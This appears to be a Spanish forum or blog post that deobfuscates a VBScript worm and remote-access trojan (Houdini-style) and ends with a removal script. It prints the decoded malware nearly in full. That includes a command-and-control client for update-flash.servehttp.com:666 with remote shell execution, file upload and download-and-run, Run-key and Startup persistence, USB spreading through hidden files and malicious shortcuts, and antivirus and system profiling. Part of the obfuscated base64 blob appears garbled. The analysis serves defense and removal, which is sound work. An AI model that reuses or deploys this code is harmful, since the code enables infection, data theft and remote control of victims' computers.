

Descifrando virus en archivo .vbs.

Subido a pastebin: <http://pastebin.com/NH8nYxub>

Code:

XYZ =

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aw1bmFtZQ0Kc2V0IG9iamh0dHBkb3dubG9hZCA9IGNyZWf0ZW9iamVjdCgibXN4bWwLnhtbGh0dHAiI
CkNCm9iamh0dHBkb3dubG9hZC5vcGVuICJnZXQiLCBzdHJsaW5rLCBmYXxzZQ0Kb2JqaHR0cGRvd25sb2
FkLnN1bmQNCg0Kc2V0IG9iamZzb2Rvd25sb2FkID0gY3JlYXRlb2JqZWN0ICgic2NyaXB0aW5nLmZpbGV
zeXN0ZW1vYmplY3QiKQ0KaWYgIG9iamZzb2Rvd25sb2FkLmZpbGVleGlzdHMgKHN0cnNhdmV0bykgdGhl
bg0KICAgICAgd3Njcm1wdC5xdW10IA0KZW5kIElmdQp1cnIuY2x1YXINCnNldCBvbmVvbmlID0gZmlsZXXN5c3R1bW9ia5vcGVudGV4dGZpb
GUGKGluc3RhbgXkaXIGJiBpbN0YWxsbmFtZSAsOCwgZmFsc2UpDQppZiAgZXJyLm51bWJlciA+IDAgdG
hlbiB3c2NyaXB0LnFlaXQNCmVuZCBmdW5jdGlvbG0KDQoNCnN1YiBzaXRlZG93bmXvYWRlciAoZmlsZXXV
ybCxmaw1bmFtZSkNCg0Kc3RybGluayA9IGZpbGV1cmwNCnN0cnNhdmV0byA9IGluc3RhbgXkaXIGJiBm
aw1bmFtZQ0Kc2V0IG9iamh0dHBkb3dubG9hZCA9IGNyZWf0ZW9iamVjdCgibXN4bWwLnhtbGh0dHAiI
CkNCm9iamh0dHBkb3dubG9hZC5vcGVuICJnZXQiLCBzdHJsaW5rLCBmYXxzZQ0Kb2JqaHR0cGRvd25sb2
FkLnN1bmQNCg0Kc2V0IG9iamZzb2Rvd25sb2FkID0gY3JlYXRlb2JqZWN0ICgic2NyaXB0aW5nLmZpbGV
zeXN0ZW1vYmplY3QiKQ0KaWYgIG9iamZzb2Rvd25sb2FkLmZpbGVleGlzdHMgKHN0cnNhdmV0bykgdGhl
bg0KICAgICAgd3Njcm1wdC5xdW10IA0KZW5kIElmdQp1cnIuY2x1YXINCnNldCBvbmVvbmlID0gZmlsZXXN5c3R1bW9ia5vcGVudGV4dGZpb
GUGKGluc3RhbgXkaXIGJiBpbN0YWxsbmFtZSAsOCwgZmFsc2UpDQppZiAgZXJyLm51bWJlciA+IDAgdG
hlbiB3c2NyaXB0LnFlaXQNCmVuZCBmdW5jdGlvbG0KDQoNCnN1YiBzaXRlZG93bmXvYWRlciAoZmlsZXXV
ybCxmaw1bmFtZSkNCg0Kc3RybGluayA9IGZpbGV1cmwNCnN0cnNhdmV0byA9IGluc3RhbgXkaXIGJiBm
aw1bmFtZQ0Kc2V0IG9iamh0dHBkb3dubG9hZCA9IGNyZWf0ZW9iamVjdCgibXN4bWwLnhtbGh0dHAiI
CkNCm9iamh0dHBkb3dubG9hZC5vcGVuICJnZXQiLCBzdHJsaW5rLCBmYXxzZQ0Kb2JqaHR0cGRvd25sb2
FkLnN1bmQNCg0Kc2V0IG9iamZzb2Rvd25sb2FkID0gY3JlYXRlb2JqZWN0ICgic2NyaXB0aW5nLmZpbGV
zeXN0ZW1vYmplY3QiKQ0KaWYgIG9iamZzb2Rvd25sb2FkLmZpbGVleGlzdHMgKHN0cnNhdmV0bykgdGhl
bg


```

11.     base64String = Replace(base64String, vbTab, "")
12.     base64String = Replace(base64String, " ", "")
13.     dataLength = Len(base64String)
14.     If dataLength Mod 4 <> 0 Then
15.         Err.Raise 1, "Base64Decode", "Bad Base64 string."
16.         Exit Function
17.     End If
18.     For groupBegin = 1 To dataLength Step 4
19.         Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
20.         numDataBytes = 3
21.         nGroup = 0
22.
23.         For CharCounter = 0 To 3
24.             thisChar = Mid(base64String, groupBegin + CharCounter, 1)
25.
26.             If thisChar = "=" Then
27.                 numDataBytes = numDataBytes - 1
28.                 thisData = 0
29.             Else
30.                 thisData = InStr(1, ZZZ, thisChar, vbBinaryCompare) - 1
31.             End If
32. A su vez está cifrado de nuevo con base64, para descifrar substituir cadena
    "EXECUTEGLOBAL (ABC)":

```

```

1. Set fs = CreateObject("Scripting.FileSystemObject")
2. Set a = fs.CreateTextFile("dump2.txt", True)
3. a.WriteLine(ABC)
4. a.Close

```

Aquí descifrado completamente, donde veremos todas las cadenas de configuración:

```

1. '<[ recoder : houdini (c) skype : houdini-fx ]>
2.
3. '===== config =====
4.
5. host = "update-flash.servehttp.com"
6. port = 666
7. installdir = "%temp%"
8. lnkfile = true
9. lnkfolder = true
10.
11. '===== public var =====
12.
13. dim shellobj
14. set shellobj = wscript.createObject("wscript.shell")
15. dim filesystemobj
16. set filesystemobj = createobject("scripting.filesystemobject")
17. dim httpobj
18. set httpobj = createobject("msxml2.xmlhttp")
19.
20.
21. '===== privat var =====
22.

```

```

23. installname = wscript.scriptname
24. startup = shellobj.specialfolders ("startup") & "\"
25. installdir = shellobj.expandenvironmentstrings(installdir) & "\"
26. if not filesystemobj.folderexists(installdir) then installdir =
    shellobj.expandenvironmentstrings("%temp%") & "\"
27. spliter = "<" & "|" & ">"
28. sleep = 5000
29. dim response
30. dim cmd
31. dim param
32. info = ""
33. usbspreading = ""
34. startdate = ""
35. dim oneonce
36.
37. '----- code start -----
38. on error resume next
39.
40.
41. instance
42. while true
43.
44. install
45.
46. response = ""
47. response = post ("is-ready","")
48. cmd = split (response,spliter)
49. select case cmd (0)
50. case "excecute"
51.     param = cmd (1)
52.     execute param
53. case "update"
54.     param = cmd (1)
55.     oneonce.close
56.     set oneonce = filesystemobj.opentextfile (installdir & installname ,2,
        false)
57.     oneonce.write param
58.     oneonce.close
59.     shellobj.run "wscript.exe //B " & chr(34) & installdir & installname &
        chr(34)
60.     wscript.quit
61. case "uninstall"
62.     uninstall
63. case "send"
64.     download cmd (1),cmd (2)
65. case "site-send"
66.     sitedownloader cmd (1),cmd (2)
67. case "recv"
68.     param = cmd (1)
69.     upload (param)
70. case "enum-driver"
71.     post "is-enum-driver",enumdriver
72. case "enum-faf"

```

```

73.         param = cmd (1)
74.         post "is-enum-faf",enumfaf (param)
75.     case "enum-process"
76.         post "is-enum-process",enumprocess
77.     case "cmd-shell"
78.         param = cmd (1)
79.         post "is-cmd-shell",cmdshell (param)
80.     case "delete"
81.         param = cmd (1)
82.         deletefaf (param)
83.     case "exit-process"
84.         param = cmd (1)
85.         exitprocess (param)
86.     case "sleep"
87.         param = cmd (1)
88.         sleep = eval (param)
89. end select
90.
91. wscript.sleep sleep
92.
93. wend
94.
95.
96. sub install
97. on error resume next
98. dim lnkobj
99. dim filename
100. dim foldername
101. dim fileicon
102. dim foldericon
103.
104. upstart
105. for each drive in filesystemobj.drives
106.
107. if drive.isready = true then
108. if drive.freespace > 0 then
109. if drive.drivetype = 1 then
110.     filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" &
        installname,true
111.     if filesystemobj.fileexists (drive.path & "\" & installname) then
112.         filesystemobj.getfile(drive.path & "\" & installname).attributes = 2+4
113.     end if
114.     for each file in filesystemobj.getfolder( drive.path & "\" ).Files
115.         if not lnkfile then exit for
116.         if instr (file.name, ".") then
117.             if lcase (split(file.name, ".") (ubound(split(file.name, ".))))
                <> "lnk" then
118.                 file.attributes = 2+4
119.                 if ucase (file.name) <> ucase (installname) then
120.                     filename = split(file.name, ".")
121.                     set lnkobj = shellobj.createshortcut (drive.path & "\" &
        filename (0) & ".lnk")
122.                     lnkobj.windowstyle = 7

```

```

123.             lnkobj.targetpath = "cmd.exe"
124.             lnkobj.workingdirectory = ""
125.             lnkobj.arguments = "/c start " & replace(installname," ",
chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " &
chrw(34)) & "&exit"
126.             fileicon = shellobj.regread
("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread
("HKEY_LOCAL_MACHINE\software\classes\" & split(file.name,
".") (ubound(split(file.name, "."))& "\") & "\defaulticon\")
127.             if instr (fileicon,",") = 0 then
128.                 lnkobj.iconlocation = file.path
129.             else
130.                 lnkobj.iconlocation = fileicon
131.             end if
132.             lnkobj.save()
133.         end if
134.     end if
135. end if
136. next
137. for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
138.     if not lnkfolder then exit for
139.     folder.attributes = 2+4
140.     foldername = folder.name
141.     set lnkobj = shellobj.createshortcut (drive.path & "\" & foldername &
".lnk")
142.     lnkobj.windowstyle = 7
143.     lnkobj.targetpath = "cmd.exe"
144.     lnkobj.workingdirectory = ""
145.     lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & "
" & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " &
chrw(34)) & "&exit"
146.     foldericon = shellobj.regread
("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\")
147.     if instr (foldericon,",") = 0 then
148.         lnkobj.iconlocation = folder.path
149.     else
150.         lnkobj.iconlocation = foldericon
151.     end if
152.     lnkobj.save()
153. next
154. end If
155. end If
156. end if
157. next
158. err.clear
159. end sub
160.
161. sub uninstall
162. on error resume next
163. dim filename
164. dim foldername
165.

```

```

166. shellobj.regdelete
    "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split
    (installname, ".") (0)
167. shellobj.regdelete
    "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split
    (installname, ".") (0)
168. filesystemobj.deletefile startup & installname , true
169. filesystemobj.deletefile wscript.scriptfullname , true
170.
171. for each drive in filesystemobj.drives
172. if drive.isready = true then
173. if drive.freespace > 0 then
174. if drive.drivetype = 1 then
175.     for each file in filesystemobj.getfolder ( drive.path & "\").files
176.         on error resume next
177.         if instr (file.name, ".") then
178.             if lcase (split(file.name, ".")(ubound(split(file.name, "."))))
179.             <> ".lnk" then
180.                 file.attributes = 0
181.                 if ucase (file.name) <> ucase (installname) then
182.                     filename = split(file.name, ".")
183.                     filesystemobj.deletefile (drive.path & "\" & filename(0) &
184.                     ".lnk" )
185.                 else
186.                     filesystemobj.deletefile (drive.path & "\" & file.name)
187.                 end If
188.             else
189.                 filesystemobj.deletefile (file.path)
190.             end if
191.         end if
192.     next
193. for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
194.     folder.attributes = 0
195. next
196. end if
197. end if
198. wscript.quit
199. end sub
200.
201. function post (cmd ,param)
202.
203. post = param
204. httpobj.open "post", "http://" & host & ":" & port & "/" & cmd, false
205. httpobj.setRequestHeader "user-agent:", information
206. httpobj.send param
207. post = httpobj.responsetext
208. end function
209.
210. function information
211. on error resume next
212. if inf = "" then

```

```

213.     inf = hwid & spliter
214.     inf = inf & shellobj.expandenvironmentstrings("%computername%") & spliter
215.     inf = inf & shellobj.expandenvironmentstrings("%username%") & spliter
216.
217.     set root =
        getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
218.     set os = root.execquery ("select * from win32_operatingsystem")
219.     for each osinfo in os
220.         inf = inf & osinfo.caption & spliter
221.         exit for
222.     next
223.     inf = inf & "plus" & spliter
224.     inf = inf & security & spliter
225.     inf = inf & usbspreading
226.     information = inf
227. else
228.     information = inf
229. end if
230. end function
231.
232.
233. sub upstart ()
234. on error resume Next
235.
236. shellobj.regwrite
        "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split
        (installname, ".")(0), "wscript.exe //B " & chrw(34) & installdir & installname &
        chrw(34) , "REG_SZ"
237. shellobj.regwrite
        "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split
        (installname, ".")(0), "wscript.exe //B " & chrw(34) & installdir & installname
        & chrw(34) , "REG_SZ"
238. filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
239. filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
240.
241. end sub
242.
243.
244. function hwid
245. on error resume next
246.
247. set root =
        getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
248. set disks = root.execquery ("select * from win32_logicaldisk")
249. for each disk in disks
250.     if disk.volumeserialnumber <> "" then
251.         hwid = disk.volumeserialnumber
252.         exit for
253.     end if
254. next
255. end function
256.
257.

```



```

258. function security
259. on error resume next
260.
261. security = ""
262.
263. set objwmiservice =
    getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
264. set colitems = objwmiservice.execquery("select * from
    win32_operatingsystem",,48)
265. for each objitem in colitems
266.     versionstr = split (objitem.version, ".")
267. next
268. versionstr = split (colitems.version, ".")
269. osversion = versionstr (0) & "."
270. for x = 1 to ubound (versionstr)
271.     osversion = osversion & versionstr (i)
272. next
273. osversion = eval (osversion)
274. if osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
275.
276. set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
277. Set colantivirus = objsecuritycenter.execquery("select * from
    antivirusproduct", "wql", 0)
278.
279. for each objantivirus in colantivirus
280.     security = security & objantivirus.displayname & " ."
281. next
282. if security = "" then security = "nan-av"
283. end function
284.
285.
286. function instance
287. on error resume next
288.
289. usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split
    (installname, ".") (0) & "\")
290. if usbspreading = "" then
291.     if lcase ( mid(wscript.scriptfullname, 2)) = ":\\" & lcase(installname) then
292.         usbspreading = "true - " & date
293.         shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split
            (installname, ".") (0) & "\", usbspreading, "REG_SZ"
294.     else
295.         usbspreading = "false - " & date
296.         shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split
            (installname, ".") (0) & "\", usbspreading, "REG_SZ"
297.
298.     end if
299. end If
300.
301.
302.
303. upstart
304. set scriptfullnameshort = filesystemobj.getfile (wscript.scriptfullname)

```

```

305. set installfullnameshort = filesystemobj.getfile (installdir & installname)
306. if lcase (scriptfullnameshort.shortpath) <> lcase
    (installfullnameshort.shortpath) then
307.     shellobj.run "wscript.exe //B " & chr(34) & installdir & installname &
        Chr(34)
308.     wscript.quit
309. end If
310. err.clear
311. set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
312. if err.number > 0 then wscript.quit
313. end function
314.
315.
316. sub sitedownloader (fileurl,filename)
317.
318. strlink = fileurl
319. strsaveto = installdir & filename
320. set objhttpdownload = createobject("msxml2.xmlhttp" )
321. objhttpdownload.open "get", strlink, false
322. objhttpdownload.send
323.
324. set objfsodownload = createobject ("scripting.filesystemobject")
325. if objfsodownload.fileexists (strsaveto) then
326.     objfsodownload.deletefile (strsaveto)
327. end if
328.
329. if objhttpdownload.status = 200 then
330.     dim objstreamdownload
331.     set objstreamdownload = createobject("adodb.stream")
332.     with objstreamdownload
333.         .type = 1
334.         .open
335.         .write objhttpdownload.responsebody
336.         .savetofile strsaveto
337.         .close
338.     end with
339.     set objstreamdownload = nothing
340. end if
341. if objfsodownload.fileexists(strsaveto) then
342.     shellobj.run objfsodownload.getfile (strsaveto).shortpath
343. end if
344. end sub
345.
346. sub download (fileurl,filedir)
347.
348. if filedir = "" then
349.     filedir = installdir
350. end if
351.
352. strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\"") + 1)
353. set objhttpdownload = createobject("msxml2.xmlhttp")
354. objhttpdownload.open "post","http://" & host & ":" & port & "/" & "is-sending" &
    splitter & fileurl, false

```

```

355. objhttpdownload.send ""
356.
357. set objfsodownload = createobject ("scripting.filesystemobject")
358. if objfsodownload.fileexists (strsaveto) then
359.     objfsodownload.deletefile (strsaveto)
360. end if
361. if objhttpdownload.status = 200 then
362.     dim objstreamdownload
363.     set objstreamdownload = createobject("adodb.stream")
364.     with objstreamdownload
365.         .type = 1
366.         .open
367.         .write objhttpdownload.responsebody
368.         .savetofile strsaveto
369.         .close
370.     end with
371.     set objstreamdownload = nothing
372. end if
373. if objfsodownload.fileexists(strsaveto) then
374.     shellobj.run objfsodownload.getfile (strsaveto).shortpath
375. end if
376. end sub
377.
378.
379. function upload (fileurl)
380.
381. dim httpobj,objstreamuploade,buffer
382. set objstreamuploade = createobject("adodb.stream")
383. with objstreamuploade
384.     .type = 1
385.     .open
386.     .loadfromfile fileurl
387.     buffer = .read
388.     .close
389. end with
390. set objstreamdownload = nothing
391. set httpobj = createobject("msxml2.xmlhttp")
392. httpobj.open "post","http://" & host & ":" & port & "/" & "is-recving" & spliter
    & fileurl, false
393. httpobj.send buffer
394. end function
395.
396.
397. function enumdriver ()
398.
399. for each drive in filesystemobj.drives
400. if drive.isready = true then
401.     enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
402. end if
403. next
404. end Function
405.
406. function enumfaf (enumdir)

```

```

407.
408. enumfaf = enumdir & spliter
409. for each folder in filesystemobj.getfolder (enumdir).subfolders
410.     enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" &
        folder.attributes & spliter
411. next
412.
413. for each file in filesystemobj.getfolder (enumdir).files
414.     enumfaf = enumfaf & file.name & "|" & file.size & "|" & "f" & "|" &
        file.attributes & spliter
415.
416. next
417. end function
418.
419.
420. function enumprocess ()
421.
422. on error resume next
423.
424. set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
425. set colitems = objwmiservice.execquery("select * from win32_process",,48)
426.
427. dim objitem
428. for each objitem in colitems
429.     enumprocess = enumprocess & objitem.name & "|"
430.     enumprocess = enumprocess & objitem.processid & "|"
431.     enumprocess = enumprocess & objitem.executablepath & spliter
432. next
433. end function
434.
435. sub exitprocess (pid)
436. on error resume next
437.
438. shellobj.run "taskkill /F /T /PID " & pid,7,true
439. end sub
440.
441. sub deletefaf (url)
442. on error resume next
443.
444. filesystemobj.deletefile url
445. filesystemobj.deletefolder url
446.
447. end sub
448.
449. function cmdshell (cmd)
450.
451. dim httpobj,oexec,readallfromany
452.
453. set oexec = shellobj.exec ("%comspec% /c " & cmd)
454. if not oexec.stdout.atendofstream then
455.     readallfromany = oexec.stdout.readall
456. elseif not oexec.stderr.atendofstream then
457.     readallfromany = oexec.stderr.readall

```

```

458. else
459.     readallfromany = ""
460. end if
461.
462. cmdshell = readallfromany
463. end function
464.

```

Vacuna especifica:

```

1. host = "update-flash.servehttp.com"
2. port = 666
3. installdir = "%temp%"
4. lnkfile = true
5. lnkfolder = true
6.
7. dim shellobj
8. set shellobj = wscript.createObject("wscript.shell")
9. dim filesystemobj
10. set filesystemobj = createobject("scripting.filesystemobject")
11. dim httpobj
12. set httpobj = createobject("msxml2.xmlhttp")
13.
14.
15. '=====  

16.
17. installname = wscript.scriptname
18. startup = shellobj.specialfolders("startup") & "\"
19. installdir = shellobj.expandenvironmentstrings(installdir) & "\"
20. if not filesystemobj.folderexists(installdir) then installdir =
    shellobj.expandenvironmentstrings("%temp%") & "\"
21. splitter = "<" & "|" & ">"
22. sleep = 5000
23. dim response
24. dim cmd
25. dim param
26. info = ""
27. usbspreading = ""
28. startdate = ""
29. dim oneonce
30.
31. '=====  

32. on error resume next
33. dim filename
34. dim foldername
35.
36. shellobj.regdelete
    "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split
    (installname, ".")(0)
37. shellobj.regdelete
    "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split
    (installname, ".")(0)
38. filesystemobj.deletefile startup & installname , true

```

```

39. filesystemobj.deletefile wscript.scriptfullname ,true
40.
41. for each drive in filesystemobj.drives
42. if drive.isready = true then
43. if drive.freespace > 0 then
44. if drive.drivetype = 1 then
45.     for each file in filesystemobj.getfolder ( drive.path & "\\").files
46.         on error resume next
47.         if instr (file.name, ".") then
48.             if lcase (split(file.name, ".")(ubound(split(file.name, "."))))
<> ".lnk" then
49.                 file.attributes = 0
50.                 if ucase (file.name) <> ucase (installname) then
51.                     filename = split(file.name, ".")
52.                     filesystemobj.deletefile (drive.path & "\" & filename(0) &
".lnk" )
53.                 else
54.                     filesystemobj.deletefile (drive.path & "\" & file.name)
55.                 end If
56.             else
57.                 filesystemobj.deletefile (file.path)
58.             end if
59.         end if
60.     next
61.     for each folder in filesystemobj.getfolder( drive.path & "\\") .subfolders
62.         folder.attributes = 0
63.     next
64. end if
65. end if
66. end if
67. next
68. msgbox "desinfectado"
69. wscript.quit

```

Fin.